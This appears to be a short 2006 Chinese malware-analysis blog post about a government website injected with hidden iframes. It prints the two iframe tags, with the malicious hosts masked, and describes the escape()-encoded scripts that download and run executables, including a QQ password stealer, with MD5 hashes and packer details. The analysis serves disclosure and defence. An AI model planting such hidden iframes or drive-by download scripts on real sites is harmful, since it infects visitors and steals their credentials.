下载Trojan-PSW.Win32.QQPass.ra等恶意程序的政府网站

endurer 原创
2006-12-01 第1版

网页首部被加入两段代码：
代码段1：
/---------
＜iframe height＝0 width＝0 src＝"hxxp://ip-ie.www***113.cnidc.cn/w***m/"＞＜/iframe＞
----------/
w***m.htm的内容为的内容为 escape( ) 加密的代码，解密后的内容为 JavaScript 脚本程序，利用 Microsoft.XMLHTTP、Adodb.Stream 下载 /mc/111.exe，保存为 c:/boot.exe，通过Shell.Application 的 ShellExecute方法 运行。

代码段2：
/---------
＜iframe height＝0 width＝0 src＝"hxxp://www.z***zy***qr.com.**/f***j/wm**.htm/"＞＜/iframe＞
----------/
wm**.htm 的内容为 escape( ) 加密的代码，解密后的内容为一段 JavaScript脚本程序，也是利用 Microsoft.XMLHTTP、Adodb.Stream 下载 /mc/game/fj.exe，保存为 c:/boot.exe，通过Shell.Application 的 ShellExecute方法 运行。

fj.exe 采用 Borland Delphi Setup Module 制作，
/---------
获取文件版本信息大小失败!
创建时间 : 2006-12-1 20:42:53
大小 : 15872 字节 15.512 KB
MD5 : 945db5a79cf5e1a0cf097cbb30af858e
---------/
Kaspersky 报为 Trojan-Downloader.Win32.Delf.ajm。

fj.exe 会从同一网站下载下列文件：
1）/mc/bao/fujia.exe
，采用UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo 制作，
/---------
大小 : 39069 字节 38.157 KB
MD5 : 9ac6f3cb5741973297c2be2b282f19b9
---------/
Kaspersky 报为 Trojan-PSW.Win32.QQPass.ra。

2）/mc/pqpq.exe
采用nSPack 1.3 -> North Star/Liu Xing Ping 加壳。
/---------
语言 : 中文(中国)
文件版本 : 0.00.0191
说明 :
版权 :
备注 :
产品版本 : 0.00.0191
产品名称 : bw34eSg
公司名称 : bw34eSg
合法商标 :
内部名称 : vj9we8r
源文件名 : vj9we8r.exe
大小 : 44217 字节 43.185 KB
MD5 : 9934b38446510bf7518207a0da22631c
---------/

3）/mc/gezi.exe
未能获取，可能是灰鸽子

4）/mc/dabao.exe
未能获取

5）/mc/xbao.exe
未能获取

保存为C:/Program Files/Common Files下的
1.exe
2.exe
3.exe
4.exe
5.exe